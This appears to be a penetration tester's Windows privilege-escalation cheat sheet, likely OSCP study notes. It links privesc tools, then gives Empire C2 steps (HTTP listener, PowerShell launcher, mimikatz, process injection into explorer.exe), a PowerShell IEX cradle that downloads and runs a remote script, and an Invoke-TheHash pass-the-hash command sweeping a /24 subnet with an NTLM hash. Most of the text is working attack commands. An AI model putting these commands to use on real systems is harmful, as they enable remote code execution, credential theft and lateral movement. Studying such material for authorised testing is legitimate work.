

Privilege Escalation

<https://github.com/pentestmonkey/windows-privesc-check> - script check

<https://github.com/PowerShellMafia/PowerSploit> - PowerUp

<https://github.com/rasta-mouse/Sherlock> - Look for missing patches

<http://www.fuzzysecurity.com/tutorials/16.html>

<https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/>

<https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/>

<http://hackingandsecurity.blogspot.com/2017/09/oscp-windows-priviledge-escalation.html>

Empire

Set up a listener

uselistener http

info

set Host <http://<IP>:8080>

set BindIP <IP>

set Port 8080

generate powershell launcher

launcher powershell http

agents

sleep 0 0

sysinfo

mimikatz

psinject [listener] [pid] (look for explorer.exe)

shell [cmd]

Commands

runas /netonly /user:domain\user mmc	open mmc as specified user
IEX (New-Object Net.Webclient).DownloadString("http://SERVER/script.ps1")	IEX cradle
nslookup -q=SRV _ldap._tcp.<fully qualified domain name>	find domain controllers for this domain

<https://github.com/Kevin-Robertson/Invoke-TheHash>

Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username Administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0